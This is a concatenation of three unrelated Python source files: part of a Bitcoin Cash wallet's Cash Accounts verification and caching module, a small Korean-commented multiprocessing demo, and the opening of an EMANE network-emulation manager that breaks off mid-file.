synchs, thus completing it. # This is safe since by default _find_script() only returns complete # scripts unless incomplete=True is specified. self.wallet_reg_tx[txid] = self.RegTx(txid, script) for txid, script_dict in eat_d.items(): script = ScriptOutput.from_dict(script_dict) if script.is_complete() and txid not in seen_scripts: # sanity check seen_scripts[txid] = script # allow incomplete scripts to be loaded here too, in case # verification comes in later. self.ext_reg_tx[txid] = self.RegTx(txid, script) for txid, info in vtx_d.items(): block_height, block_hash = info script = seen_scripts.get(txid) if script: self._add_vtx(self.VerifTx(txid, block_height, block_hash), script) for item in min_enc_l: value = item[-1] key = item[:-1] self.minimal_ch_cache.put(tuple(key), value) # re-populate the cache # Re-enqueue previously unverified for verification. # they may come from either wallet or external source, but we # enqueue them with the private verifier here. # Note that verification failures will cause the tx's to get popped # and thus they shouldn't forever verify (see verification_failed et al). d = self.ext_reg_tx.copy() d.update(self.wallet_reg_tx) for txid, item in d.items(): if txid not in self.v_tx and item.script.number is not None and item.script.number >= 100: self.ext_unverif[txid] = num2bh(item.script.number) # Note that 'wallet.load_transactions' will be called after this point # in the wallet c'tor and it will take care of removing wallet_reg_tx # and v_tx entries from self if it detects unreferenced transactions in # history (via the remove_transaction_hook callback). def save(self, write=False): ''' FYI, current data model is: RegTx = namedtuple("RegTx", "txid, script") VerifTx = namedtuple("VerifTx", "txid, block_height, block_hash") self.wallet_reg_tx = dict() # dict of txid -> RegTx self.ext_reg_tx = dict() # dict of txid -> RegTx self.v_tx = dict() # dict of txid -> VerifTx self.v_by_addr = defaultdict(set) # dict of addr -> set of txid self.v_by_name = defaultdict(set) # dict of lowercased name -> set of txid ''' wat_d, eat_d, vtx_d = dict(), dict(), dict() min_enc_l = list() with self.lock: for txid, rtx in self.wallet_reg_tx.items(): wat_d[txid] = rtx.script.to_dict() for txid, rtx in self.ext_reg_tx.items(): eat_d[txid] = rtx.script.to_dict() for txid, vtx in self.v_tx.items(): vtx_d[txid] = [vtx.block_height, vtx.block_hash] for key, tup in self.minimal_ch_cache.copy_dict().items(): value = tup[-1] if value is None: # we sometimes write 'None' to the cache to invalidate # items but don't delete the entry. Skip these. continue min_enc_l.append([*key, value]) data = { 'wallet_reg_tx' : wat_d, 'ext_reg_tx' : eat_d, 'verified_tx' : vtx_d, 'minimal_ch_cache' : min_enc_l, } self.wallet.storage.put('cash_accounts_data', data) if write: self.wallet.storage.write() def get_verified(self, ca_name) -> Info: ''' Returns the Info object for ca_name of the form: Name#123.1234 or None if not found in self.v_tx ''' tup = self.parse_string(ca_name) if tup: name, num, cp = tup l = self.find_verified(name=name, number=num, collision_prefix=cp) if len(l) == 1: return l[0] def find_verified(self, name: str, number: int = None, collision_prefix: str = None) -> List[Info]: ''' Returns a list of Info objects for verified cash accounts matching lowercased name. Optionally you can narrow the search by specifying number (int) and a collision_prefix (str of digits) ''' ret = [] with self.lock: name = name.lower() s = self.v_by_name.get(name, set()) for txid in s: script = self._find_script(txid, False) if script: if script.name.lower() != name: self.print_error(f"find: FIXME -- v_by_name has inconsistent data for {txid}, name {name} != {script.name}") continue if not script.is_complete(): self.print_error(f"find: FIXME -- v_by_name has a script that is not 'complete' for {txid} name='{name}'") continue if number is not None and script.number != number: continue if collision_prefix is not None and not script.collision_hash.startswith(collision_prefix): continue ret.append(Info.from_script(script, txid)) return ret def add_ext_tx(self, txid : str, script : ScriptOutput): ''' This will add txid to our ext_tx cache, and kick off verification, but only if it's not verified already and/or not in wallet_reg_tx. ''' if not isinstance(script, ScriptOutput) or not script.is_complete(): raise ArgumentError("Please pass an 'is_complete' script to add_ext_tx") with self.lock: if txid not in self.wallet_reg_tx: self.ext_reg_tx[txid] = self.RegTx(txid, script) if txid not in self.v_tx: self.ext_unverif[txid] = num2bh(script.number) def has_tx(self, txid: str) -> bool: ''' Returns true if we know about a complete tx, whether verified or not. ''' with self.lock: return bool(self._find_script(txid, False)) def is_verified(self, txid: str) -> bool: with self.lock: return txid in self.v_tx def add_ext_incomplete_tx(self, txid : str, block_height : int, script : ScriptOutput): if not isinstance(script, ScriptOutput) or not isinstance(block_height, (int, float)) or not txid or not isinstance(txid, str): raise ArgumentError("bad args to add_ext_incomplete_tx") script.number = bh2num(block_height) if script.number < 100: raise ArgumentError("bad block height") with self.lock: self.ext_incomplete_tx[txid] = self.RegTx(txid, script) self.ext_unverif[txid] = block_height @staticmethod def _do_verify_block_argchecks(network, number, exc=[], server='https://unknown'): if not isinstance(number, int) or number < 100: raise ArgumentError('number must be >= 100') if not isinstance(server, str) or not server: raise ArgumentError('bad server arg') if not isinstance(exc, list): raise ArgumentError('bad exc arg') if not network: exc.append(RuntimeError('no network')) return False return True def verify_block_asynch(self, number : int, success_cb=None, error_cb=None, timeout=timeout, debug=debug): ''' Tries all servers. Calls success_cb with the verified ProcessedBlock as the single argument on first successful retrieval of the block. Calls error_cb with the exc as the only argument on failure. Guaranteed to call 1 of the 2 callbacks in either case. Callbacks are optional and won't be called if specified as None. ''' network = self.network # capture network object in case it goes away while we are running exc = [] if not self._do_verify_block_argchecks(network=network, number=number, exc=exc): if error_cb: error_cb((exc and exc[-1]) or RuntimeError('error')) return def on_error(exc): with self.lock: l = self._blocks_in_flight.pop(number, []) ct = 0 for success_cb, error_cb in l: if error_cb: error_cb(exc) ct += 1 if debug: self.print_error(f"verify_block_asynch: called {ct} error callbacks for #{number}") def on_success(res, server): pb = self._verify_block_inner(res, network, server, number, True, timeout, exc, debug=debug) if pb: with self.lock: l = self._blocks_in_flight.pop(number, []) ct = 0 for success_cb, error_cb in l: if success_cb: success_cb(pb) ct += 1 if debug: self.print_error(f"verify_block_asynch: called {ct} success callbacks for #{number}") else: on_error(exc[-1]) with self.lock: l = self._blocks_in_flight[number] l.append((success_cb, error_cb)) if len(l) == 1: if debug: self.print_error(f"verify_block_asynch: initiating new lookup_asynch_all on #{number}") lookup_asynch_all(number=number, success_cb=on_success, error_cb=on_error, timeout=timeout, debug=debug) else: if debug: self.print_error(f"verify_block_asynch: #{number} already in-flight, will just enqueue callbacks") def verify_block_synch(self, server : str, number : int, verify_txs=True, timeout=timeout, exc=[], debug=debug) -> ProcessedBlock: ''' Processes a whole block from the lookup server and returns it. Returns None on failure, and puts the Exception in the exc parameter. Note if this returns successfully, then all the tx's in the returned ProcessedBlock are guaranteed to have verified successfully. ''' network = self.network # just in case network goes away, capture it if not self._do_verify_block_argchecks(network=network, number=number, exc=exc, server=server): return res = lookup(server=server, number=number, timeout=timeout, exc=exc, debug=debug) if not res: return return self._verify_block_inner(res, network, server, number, verify_txs, timeout, exc, debug=debug) def _verify_block_inner(self, res, network, server, number, verify_txs, timeout, exc, debug=debug) -> ProcessedBlock: ''' Do not call this from the Network thread, as it actually relies on the network thread being another thread (it waits for callbacks from it to proceed). Caller should NOT hold any locks. ''' pb = ProcessedBlock(hash=res[0], height=num2bh(number), reg_txs={ r.txid : r for r in res[1] }) if len(pb.reg_txs) == 0: self.print_error(f"Warning, received a block from server with number {number}" "but we didn't recognize any tx's in it. " "To the dev reading this: See if the Cash Account spec has changed!") # REORG or BAD SERVER CHECK def check_sanity_detect_reorg_etc(): minimal_ch_removed = [] with self.lock: pb_cached = self.processed_blocks.get(pb.height) if pb_cached and pb != pb_cached: # Poor man's reorg detection below... self.processed_blocks.put(pb.height, None) self.print_error(f"Warning, retrieved block info from server {server} is {pb} which differs from cached version {pb_cached}! Reverifying!") keys = set() # (lname, number, collision_hash) tuples chash_rtxs = dict() # chash_key_tuple -> regtx for txid in set(set(pb_cached.reg_txs or set()) | set(pb.reg_txs or set())): self._rm_vtx(txid, rm_from_verifier=True) script = self._find_script(txid, False) if script: k = (script.name.lower(), script.number, script.collision_hash) keys.add(k) rtx = pb.reg_txs.get(txid) or pb_cached.reg_txs.get(txid) if rtx: chash_rtxs[k] = rtx # invalidate minimal_chashes for block for k in keys: if self.minimal_ch_cache.get(k): self.print_error("invalidated minimal_chash", k) self.minimal_ch_cache.put(k, None) # invalidate cache item rtx = chash_rtxs.get(k) if rtx: minimal_ch_removed.append((Info.from_regtx(rtx), rtx.script.collision_hash)) verify_txs = True # finally, inform interested GUI code about the invalidations so that # it may re-enqueue some refreshes of the minimal collision hashes for info, long_chash in minimal_ch_removed: if debug: self.print_error("triggering ca_updated_minimal_chash for", info, long_chash) network.trigger_callback('ca_updated_minimal_chash', self, info, long_chash) check_sanity_detect_reorg_etc() # /REORG or BAD SERVER CHECK def num_needed(): with self.lock: return len(set(pb.reg_txs) - set(self.v_tx)) if verify_txs and pb.reg_txs and num_needed(): q = queue.Queue() class VFail(RuntimeWarning): pass def on_verified(event, *args): if not args or args[0] is not self: # all the events we care about pass self as arg return if event == 'ca_verified_tx': if not num_needed(): # this implcititly checks if the tx's we care about are ready q.put('done') elif event == 'ca_verification_failed' and args[1] in pb.reg_txs: q.put(('failed', args[1], args[2])) if args[2] == 'tx_not_found': ctr = 0 with self.lock: for txid in pb.reg_txs: if txid not in self.v_tx: self._wipe_tx(txid, rm_from_verifier=True) ctr += 1 if ctr: self.print_error(f"_verify_block_inner: Block number {number} from server {server} appears to be invalid on this chain: '{args[2]}' undid {ctr} verification requests") try: network.register_callback(on_verified, ['ca_verified_tx', 'ca_verification_failed']) for txid, regtx in pb.reg_txs.items(): self.add_ext_tx(txid, regtx.script) # NB: this is a no-op if already verified and/or in wallet_reg_txs if num_needed(): thing = q.get(timeout=timeout) if thing == 'done': pass # ok, success! elif isinstance(thing, tuple) and thing[0] == 'failed': raise VFail(thing[1], thing[2]) else: self.print_error("INTERNAL ERROR: Got unknown thing from an internal queue in _verify_block_inner. FIXME!") raise VFail("INTERNAL ERROR", "_verify_block_inner") except (queue.Empty, VFail) as e: if num_needed(): exc.append(e) return finally: network.unregister_callback(on_verified) with self.lock: self.processed_blocks.put(pb.height, pb) return pb ############################ # UI / Prefs / Convenience # ############################ def get_address_default(self, infos : List[Info]) -> Info: ''' Returns the preferred Info object for a particular address from a given list. `infos' is a list of Info objects pertaining to a particular address (they should all pertain to said address, but this is not checked). ''' if infos: last = infos[-1] d = self.wallet.storage.get('cash_accounts_address_defaults') if isinstance(d, dict) and isinstance(last.address, Address): # sanity check, .address may not always be Address but may be UnknownAddress tup = d.get(last.address.to_storage_string()) if isinstance(tup, (tuple, list)) and len(tup) == 3: name, number, chash = tup if isinstance(name, str) and isinstance(number, (int, float)) and isinstance(chash, str): # find the matching one in the list for info in infos: if (name.lower(), number, chash) == (info.name.lower(), info.number, info.collision_hash): return info # just return the latest one if no default specified return last def set_address_default(self, info : Info): ''' Set the default CashAccount for a particular address. Pass the Info object pertaining to the Cash Account / Address in question. ''' if not isinstance(info.address, Address): self.print_error("Warning: Info object does not have an Address", info) return d = self.wallet.storage.get('cash_accounts_address_defaults', {}) addr_str = info.address.to_storage_string() new_value = [info.name, info.number, info.collision_hash] d[addr_str] = new_value self.wallet.storage.put('cash_accounts_address_defaults', d) ################### # Private Methods # ################### @classmethod def _calc_minimal_chash(cls, name: str, collision_hash: str, pb : ProcessedBlock) -> Tuple[RegTx, str]: ''' returns None on failure, otherwise returns (RegTx, minimal_chash) tuple ''' num_res = int(bool(pb.reg_txs) and len(pb.reg_txs)) pb_num = bh2num(pb.height) if not num_res: util.print_error(f"_calc_minimal_chash: no results in block {pb_num}!") return lc_name = name.lower() d = cls._calc_minimal_chashes_for_block(pb, lc_name) minimal_chash = d.get(lc_name, {}).get(collision_hash, None) if minimal_chash is None: util.print_error(f"_calc_minimal_chash: WARNING INTERNAL ERROR: Could not find the minimal_chash for {pb_num} {lc_name}!") return found = None for rtx in pb.reg_txs.values(): if lc_name == rtx.script.name.lower() and collision_hash == rtx.script.collision_hash: found = rtx break if not found: util.print_error(f"_calc_minimal_chash: WARNING INTERNAL ERROR: Could not find the minimal_chash for {pb_num} {lc_name}!") return if found.script.number != pb_num: util.print_error(f"_calc_minimal_chash: WARNING: script number differs from block number for block {pb_num} {lc_name} {found.txid}!") return found, minimal_chash @classmethod def _calc_minimal_chashes_for_block(cls, pb : ProcessedBlock, name: str = None) -> Dict[str, Dict[str, str]]: ''' Given a ProcessedBlock, returns a dict of: lc_name -> dict of collision_hash -> minimal_collision_hash. Optionally, pass a name to filter by name. ''' if name is not None: name = name.lower() tups = sorted( (rtx.script.name.lower(), rtx.script.collision_hash) for rtx in pb.reg_txs.values() if rtx.script.name.lower() == name ) else: tups = sorted( (rtx.script.name.lower(), rtx.script.collision_hash) for rtx in pb.reg_txs.values() ) # tups is now a sorted list of (name, collision_hash) return cls._calc_minimal_chashes_for_sorted_lcased_tups(tups) @staticmethod def _calc_minimal_chashes_for_sorted_lcased_tups(tups : List[Tuple[str,str]]) -> Dict[str, Dict[str, str]]: '''' Given a list of sorted tuples, with names already all lowercased, returns a dict of: lc_ name -> dict of collision_hash -> minimal_collision_hash ''' ret = defaultdict(dict) N = collision_hash_length idxs = [0] * len(tups) for i in range(len(tups)-1): pnam, pch = tups[i] nam, ch = tups[i+1] j = 0 if pnam == nam: while j < N and ch[:j] == pch[:j]: j += 1 idxs[i] = max(idxs[i], j) idxs[i+1] = max(idxs[i+1], j) for n, tupe in enumerate(tups): nam, ch = tupe ret[nam][ch] = ch[:idxs[n]] return ret def _fw_wallet_updated(self, evt, *args): ''' Our private verifier is done. Propagate updated signal to parent wallet so that the GUI will refresh. ''' if evt == 'wallet_updated' and args and args[0] is self: self.print_error("forwarding 'wallet_updated' as parent wallet") self.network.trigger_callback('wallet_updated', self.wallet) def _find_script(self, txid, print_if_missing=True, *, incomplete=False, giveto=None): ''' lock should be held by caller ''' maybes = (self.wallet_reg_tx.get(txid), self.ext_reg_tx.get(txid)) item = None for maybe in maybes: if maybe and (not item or (not item.script.is_complete() and maybe.script.is_complete())): item = maybe del maybe, maybes if not item and incomplete: item = self.ext_incomplete_tx.get(txid) if item and not item.script.is_complete() and not incomplete: item = None # refuse to return an incomplete tx unless incomplete=True if item: # Note the giveto with incomplete=True is fragile and requires # a call to _add_verified_tx_common right after this # _find_script call. # Also note: we intentionally don't pop the ext_incomplete_tx # dict here as perhaps client code is maintaining a reference # and we want to update that reference later in add_verified_common. if giveto == 'e': self.wallet_reg_tx.pop(txid, None) self.ext_reg_tx[txid] = item elif giveto == 'w': self.ext_reg_tx.pop(txid, None) self.wallet_reg_tx[txid] = item return item.script if print_if_missing: self.print_error("_find_script: could not find script for txid", txid) def _add_vtx(self, vtx, script): ''' lock should be held by caller ''' self.v_tx[vtx.txid] = vtx self.v_by_addr[script.address].add(vtx.txid) self.v_by_name[script.name.lower()].add(vtx.txid) def _rm_vtx(self, txid, *, force=False, rm_from_verifier=False): ''' lock should be held by caller ''' vtx = self.v_tx.pop(txid, None) if not vtx: # was not relevant, abort early return assert txid == vtx.txid script = self._find_script(txid, print_if_missing=not force) # will print_error if script not found if script: addr, name = script.address, script.name.lower() self.v_by_addr[addr].discard(txid) if not self.v_by_addr[addr]: self.v_by_addr.pop(addr, None) self.v_by_name[name].discard(txid) if not self.v_by_name[name]: self.v_by_name.pop(name, None) elif force: self.print_error("force remove v_tx", txid) empty = set() for a, s in self.v_by_addr.items(): s.discard(txid) if not s: empty.add(a) for a in empty: self.v_by_addr.pop(a, None) empty.clear() for n, s in self.v_by_name.items(): s.discard(txid) if not s: empty.add(n) for n in empty: self.v_by_name.pop(n, None) if rm_from_verifier: verifier = self.verifier if verifier: verifier.remove_spv_proof_for_tx(txid) def _wipe_tx(self, txid, rm_from_verifier=False): ''' called to completely forget a tx from all caches ''' self._rm_vtx(txid, force=True, rm_from_verifier=rm_from_verifier) self.wallet_reg_tx.pop(txid, None) self.ext_reg_tx.pop(txid, None) self.ext_incomplete_tx.pop(txid, None) self.ext_unverif.pop(txid, None) def _add_verified_tx_common(self, script, txid, height, header): ''' caller must hold locks ''' if not script or height < activation_height: # no-op or not relevant callback return block_hash = blockchain.hash_header(header) v = self.VerifTx(txid=txid, block_height=height, block_hash=block_hash) # update/completeify script.make_complete(block_height=v.block_height, block_hash=v.block_hash, txid=v.txid) rtx = self.ext_incomplete_tx.pop(txid, None) if rtx: # in case client code somewhere has a copy of this script .. # update it to 'complete' so GUI can reflect change. # (relevant to TxDialog class) rtx.script.make_complete(block_height=v.block_height, block_hash=v.block_hash, txid=v.txid) if txid not in self.ext_reg_tx and txid not in self.wallet_reg_tx: # save this is_complete RegTx to ext_reg_tx dict which gets saved to disk self.ext_reg_tx[txid] = rtx # register this tx as verified self._add_vtx(v, script) def _add_vtx_chk_height(self, txid, height_ts_pos_tup): ''' caller must hold locks ''' height = height_ts_pos_tup[0] if not isinstance(height, (int, float)) or height < activation_height: self.print_error(f"Warning: Got a tx {txid} with height {height} < activation height {activation_height}!") self._wipe_tx(txid) return 0 return int(height) ######################### # Wallet hook callbacks # ######################### def add_verified_tx_hook(self, txid: str, height_ts_pos_tup: tuple, header: dict): ''' Called by wallet when it itself got a verified tx from its own verifier. We need to know about tx's that the parent wallet verified so we don't do the same work again. ''' with self.lock: # Note: precondition here is that the tx exists in one of our RegTx # dicts, otherwise the tx is not relevant to us (contains no cash # account registrations). We need this check because we are called # a lot for every tx the wallet verifies. script = self._find_script(txid, False, giveto='w', incomplete=True) if not script: return self.print_error("verified internal:", txid, height_ts_pos_tup) height = self._add_vtx_chk_height(txid, height_ts_pos_tup) # prints to print_error and wipes tx on error if not height: return self._add_verified_tx_common(script, txid, height, header) # this needs to be done without the lock held if self.network and script.is_complete(): # paranoia checks self.network.trigger_callback('ca_verified_tx', self, Info.from_script(script, txid)) def verification_failed_hook(self, txid, reason): ''' Called by wallet when it receives a verification_failed callback from its verifier. We must check if the tx is relevant and if so, forwrd the information on with a callback ''' with self.lock: script = self._find_script(txid, False, giveto='w', incomplete=True) if not script: # not relevant to us return if self.network: self.network.trigger_callback('ca_verification_failed', self, txid, reason) def undo_verifications_hook(self, txs: set): ''' Called by wallet when it itself got called to undo_verifictions by its verifier. We need to be told what set of tx_hash was undone. ''' if not txs: return with self.lock: for txid in txs: self._rm_vtx(txid) # this is safe as a no-op if txid was not relevant self._find_script(txid, False, giveto='w') # Since we have a chain reorg, invalidate the processed block and # minimal_ch_cache to force revalidation of our collision hashes. # FIXME: Do this more elegantly. This casts a pretty wide net. # NB: I believe assiging a new {} to .d is safer than d.clear() # in this case as the caches._ExpiringCacheMgr doesn't like it # when you remove items from the existing dict, but should run ok # if you just assign a new dict (it keeps a working reference as # it flushes the cache)... so assigning to .d is safer in this case. self.minimal_ch_cache.d = {} self.processed_blocks.d = {} def add_transaction_hook(self, txid: str, tx: object, out_n: int, script: ScriptOutput): ''' Called by wallet inside add_transaction (with wallet.lock held) to notify us about transactions that were added containing a cashacct scriptoutput. Note these tx's aren't yet in the verified set. ''' assert isinstance(script, ScriptOutput) with self.lock: self.wallet_reg_tx[txid] = self.RegTx(txid=txid, script=script) self._find_script(txid, giveto='w') # makes sure there is only 1 copy in wallet_reg_tx def remove_transaction_hook(self, txid: str): ''' Called by wallet inside remove_transaction (with wallet.lock held) to tell us about a transaction that was removed. ''' with self.lock: self._rm_vtx(txid) self.wallet_reg_tx.pop(txid, None) def add_unverified_tx_hook(self, txid: str, block_height: int): ''' This is called by wallet when we expect a future subsequent verification to happen. So let's pop the vtx from our data structure in anticipation of a possible future verification coming in. ''' with self.lock: self._rm_vtx(txid) self._find_script(txid, False, giveto='w', incomplete=True) def on_address_addition(self, address): ''' Called by wallet when a new address is added in imported wallet.''' def on_address_deletion(self, address): ''' Called by wallet when an existing address is deleted in imported wallet.''' def on_clear_history(self): ''' Called by wallet rebuild history mechanism to clear everything. ''' with self.lock: self._init_data() def save_verified_tx_hook(self, write=False): self.save(write) # /Wallet hook callbacks ####################### # SPVDelegate Methods # ####################### def get_unverified_txs(self) -> dict: ''' Return a dict of tx_hash (hex encoded) -> height (int)''' with self.lock: return self.ext_unverif.copy() def add_verified_tx(self, tx_hash : str, height_ts_pos_tup : tuple, header : dict) -> None: ''' Called when a verification is successful. Params: #1 tx_hash - hex string #2 tuple of: (tx_height: int, timestamp: int, pos : int) #3 the header - dict. This can be subsequently serialized using blockchain.serialize_header if so desiered, or it can be ignored. ''' self.print_error('verified external:', tx_hash, height_ts_pos_tup) with self.wallet.lock: # thread safety, even though for 1-liners in CPython it hardly matters. # maintain invariant -- this is because pvt verifier can get kicked # off on .load() for any missing unverified tx (wallet or external) # so we have to determine here where to put the final tx should live giveto = 'w' if tx_hash in self.wallet.transactions else 'e' with self.lock: self.ext_unverif.pop(tx_hash, None) # pop it off unconditionally height = self._add_vtx_chk_height(tx_hash, height_ts_pos_tup) # prints to print_error and wipes tx on error if not height: return script = self._find_script(tx_hash, incomplete=True, giveto=giveto) # call back into the same codepath that registers tx's as verified, and completes them... self._add_verified_tx_common(script, tx_hash, height, header) # this needs to be done without the lock held if self.network and script and script.is_complete(): # paranoia checks self.network.trigger_callback('ca_verified_tx', self, Info.from_script(script, tx_hash)) def is_up_to_date(self) -> bool: '''Return True to kick off network wallet_updated callback and save_verified_tx callback to us, only when nothing left to verify. ''' return not self.ext_unverif def save_verified_tx(self, write : bool = False): ''' Save state. Called by ext verified when it's done. ''' self.save(write) def undo_verifications(self, bchain : object, height : int) -> set: ''' Called when the blockchain has changed to tell the wallet to undo verifications when a reorg has happened. Returns a set of tx_hash. ''' txs = set() with self.lock: for txid, vtx in self.v_tx.copy().items(): if txid in self.wallet_reg_tx: # wallet verifier will take care of this one continue if vtx.block_height >= height: header = bchain.read_header(vtx.block_height) if not header or vtx.block_hash != blockchain.hash_header(header): self._rm_vtx(txid) self.ext_unverif[txid] = vtx.block_height # re-enqueue for verification with private verifier...? TODO: how to detect tx's dropped out of new chain? txs.add(txid) return txs def verification_failed(self, tx_hash, reason): ''' TODO.. figure out what to do here. Or with wallet verification in general in this error case. ''' self.print_error(f"SPV failed for {tx_hash}, reason: '{reason}'") try: with self.lock: script = self._find_script(tx_hash) idx = self.verifier.failure_reasons.index(reason) if idx < 3 or not script or not script.is_complete(): # actual verification failure.. remove this tx self.print_error("removing tx from ext_reg_tx cache") self.ext_unverif.pop(tx_hash, None) self.ext_reg_tx.pop(tx_hash, None) elif idx == 5: # tx not found -- might be either we are testnet and lookup # server was mainnet *OR* some other strangeness. Not sure # what to do here, so we just wipe the tx from our caches # because keeping it around will cause the client to DoS # itself versus the ElectrumX server each time it connects. self.print_error("tx appears to be completely unknown to server, wiping from cache") self._wipe_tx(tx_hash) else: # Note that the above ^ branch can also be reached due to a # misbehaving server so .. not really sure what to do here. # TODO: Determine best strategy for verification failures. self.print_error("ignoring failure due misc. error response from server.. will try again next session") except ValueError: self.print_error(f"Cannot find '{reason}' in verifier reason list! FIXME!") if self.network: self.network.trigger_callback('ca_verification_failed', self, tx_hash, reason) # /SPVDelegate Methods ############################################### # Experimental Methods (stuff we may not use) # ############################################### def scan_servers_for_registrations(self, start=100, stop=None, progress_cb=None, error_cb=None, timeout=timeout, add_only_mine=True, debug=debug): ''' This is slow and not particularly useful. Will maybe delete this code soon. I used it for testing to populate wallet. progress_cb is called with (progress : float, num_added : int, number : int) as args! error_cb is called with no arguments to indicate failure. Upon completion, either progress_cb(1.0 ..) will be called to indicate successful completion of the task. Or, error_cb() will be called to indicate error abort (usually due to timeout). Returned object can be used to stop the process. obj.stop() is the method. ''' if not self.network: return cancel_evt = threading.Event() stop = num2bh(stop) if stop is not None else stop start = num2bh(max(start or 0, 100)) def stop_height(): return stop or self.wallet.get_local_height()+1 def progress(h, added): if progress_cb: progress_cb(max((h-start)/(stop_height() - start), 0.0), added, bh2num(h)) def thread_func(): q = queue.Queue() h = start added = 0 while self.network and not cancel_evt.is_set() and h < stop_height(): num = bh2num(h) lookup_asynch_all(number=num, success_cb = lambda res,server: q.put(res), error_cb = q.put, timeout=timeout, debug=debug) try: thing = q.get(timeout=timeout) if isinstance(thing, Exception): e = thing if debug: self.print_error(f"Height {h} got exception in lookup: {repr(e)}") elif isinstance(thing, tuple): block_hash, res = thing for rtx in res: if rtx.txid not in self.wallet_reg_tx and rtx.txid not in self.ext_reg_tx and (not add_only_mine or self.wallet.is_mine(rtx.script.address)): self.add_ext_tx(rtx.txid, rtx.script) added += 1 progress(h, added) except queue.Empty: self.print_error("Could not complete request, timed out!") if error_cb: error_cb() return h += 1 progress(h, added) t = threading.Thread(daemon=True, target=thread_func) t.start() class ScanStopper(namedtuple("ScanStopper", "thread, event")): def is_alive(self): return self.thread.is_alive() def stop(self): if self.is_alive(): self.event.set() self.thread.join() return ScanStopper(t, cancel_evt)
multi_pro3.py
from multiprocessing import Process import time import os #시작시간 start_time = time.time() #멀티쓰레드 사용 (40만 카운트 출력) def count(cnt): proc = os.getpid() for i in range(cnt): print("Process Id : ", proc ," -- ",i) if __name__ == '__main__': #멀티 쓰레딩 Process 사용 num_arr = [100000, 100000, 100000, 100000] procs = [] for index, number in enumerate(num_arr): #Process 객체 생성 proc = Process(target=count, args=(number,)) procs.append(proc) proc.start() #프로세스 종료 대기 for proc in procs: proc.join() #종료시간 print("--- %s seconds ---" % (time.time() - start_time))
emanemanager.py
""" emane.py: definition of an Emane class for implementing configuration control of an EMANE emulation. """ import logging import os import threading from collections import OrderedDict from typing import TYPE_CHECKING, Dict, List, Set, Tuple, Type from core import utils from core.config import ConfigGroup, Configuration, ModelManager from core.emane import emanemanifest from core.emane.bypass import EmaneBypassModel from core.emane.commeffect import EmaneCommEffectModel from core.emane.emanemodel import EmaneModel from core.emane.ieee80211abg import EmaneIeee80211abgModel from core.emane.nodes import EmaneNet from core.emane.rfpipe import EmaneRfPipeModel from core.emane.tdma import EmaneTdmaModel from core.emulator.enumerations import ConfigDataTypes, RegisterTlvs from core.errors import CoreCommandError, CoreError from core.nodes.base import CoreNode from core.nodes.interface import CoreInterface from core.nodes.network import CtrlNet from core.xml import emanexml if TYPE_CHECKING: from core.emulator.session import Session try: from emane.events import EventService from emane.events import LocationEvent from emane.events.eventserviceexception import EventServiceException except ImportError: try: from emanesh.events import EventService from emanesh.events import LocationEvent from emanesh.events.eventserviceexception import EventServiceException except ImportError: logging.debug("compatible emane python bindings not installed") EMANE_MODELS = [ EmaneRfPipeModel, EmaneIeee80211abgModel, EmaneCommEffectModel, EmaneBypassModel, EmaneTdmaModel, ] DEFAULT_EMANE_PREFIX = "/usr" DEFAULT_DEV = "ctrl0" class EmaneManager(ModelManager): """ EMANE controller object. Lives in a Session instance and is used for building EMANE config files for all EMANE networks in this emulation, and for controlling the EMANE daemons. """ name = "emane" config_type = RegisterTlvs.EMULATION_SERVER.value SUCCESS, NOT_NEEDED, NOT_READY = (0, 1, 2) EVENTCFGVAR = "LIBEMANEEVENTSERVICECONFIG" DEFAULT_LOG_LEVEL = 3 def __init__(self, session: "Session") -> None: """ Creates a Emane instance. :param session: session this manager is tied to :return: nothing """ super().__init__() self.session = session self._emane_nets = {} self._emane_node_lock = threading.Lock() # port numbers are allocated from these counters self.platformport = self.session.options.get_config_int( "emane_platform_port", 8100 ) self.transformport = self.session.options.get_config_int( "emane_transform_port", 8200 ) self.doeventloop = False self.eventmonthread = None # model for global EMANE configuration options self.emane_config = EmaneGlobalModel(session) self.set_configs(self.emane_config.default_values()) self.service = None self.eventchannel = None self.event_device = None self.emane_check() def getifcconfig( self, node_id: int, interface: CoreInterface, model_name: str ) -> Dict[str, str]: """ Retrieve interface configuration or node configuration if not provided. :param node_id: node id :param interface: node interface :param model_name: model to get configuration for :return: node/interface model configuration """ # use the network-wide config values or interface(NEM)-specific values? if interface is None: return self.get_configs(node_id=node_id, config_type=model_name) else: # don"t use default values when interface config is the same as net # note here that using ifc.node.id as key allows for only one type # of each model per node; # TODO: use both node and interface as key # Adamson change: first check for iface config keyed by "node:ifc.name" # (so that nodes w/ multiple interfaces of same conftype can have # different configs for each separate interface) key = 1000 * interface.node.id if interface.netindex is not None: key += interface.netindex # try retrieve interface specific configuration, avoid getting defaults config = self.get_configs(node_id=key, config_type=model_name) # otherwise retrieve the interfaces node configuration, avoid using defaults if not config: config = self.get_configs( node_id=interface.node.id, config_type=model_name ) # get non interface config, when none found if not config: # with EMANE 0.9.2+, we need an extra NEM XML from # model.buildnemxmlfiles(), so defaults are returned here config = self.get_configs(node_id=node_id, config_type=model_name) return config def config_reset(self, node_id: int = None) -> None: super().config_reset(node_id) self.set_configs(self.emane_config.default_values()) def emane_check(self) -> None: """ Check if emane is installed and load models. :return: nothing """ try: # check for emane args = "emane --version" emane_version = utils.cmd(args) logging.info("using EMANE: %s", emane_version) self.session.distributed.execute(lambda x: x.remote_cmd(args)) # load default emane models self.load_models(EMANE_MODELS) # load custom models custom_models_path = self.session.options.get_config("emane_models_dir") if custom_models_path: emane_models = utils.load_classes(custom_models_path, EmaneModel) self.load_models(emane_models) except CoreCommandError: logging.info("emane is not installed") def deleteeventservice(self) -> None: if self.service: for fd in self.service._readFd, self.service._writeFd: if fd >= 0: os.close(fd) for f in self.service._socket, self.service._socketOTA: if f: f.close() self.service = None self.event_device = None def initeventservice(self, filename: str = None, shutdown: bool = False) -> None: """ Re-initialize the EMANE Event service. The multicast group and/or port may be configured. """ self.deleteeventservice() if shutdown: return # Get the control network to be used for events group, port = self.get_config("eventservicegroup").split(":") self.event_device = self.get_config("eventservicedevice") eventnetidx = self.session.get_control_net_index(self.event_device) if eventnetidx < 0: logging.error( "invalid emane event service device provided: %s", self.event_device ) return # make sure the event control network is in place eventnet = self.session.add_remove_control_net( net_index=eventnetidx, remove=False, conf_required=False ) if eventnet is not None: # direct EMANE events towards control net bridge self.event_device = eventnet.brname self.eventchannel = (group, int(port), self.event_device) # disabled otachannel for event service # only needed for e.g. antennaprofile events xmit by models logging.info("using %s for event service traffic", self.event_device) try: self.service = EventService(eventchannel=self.eventchannel, otachannel=None) except EventServiceException: logging.exception("error instantiating emane EventService") def 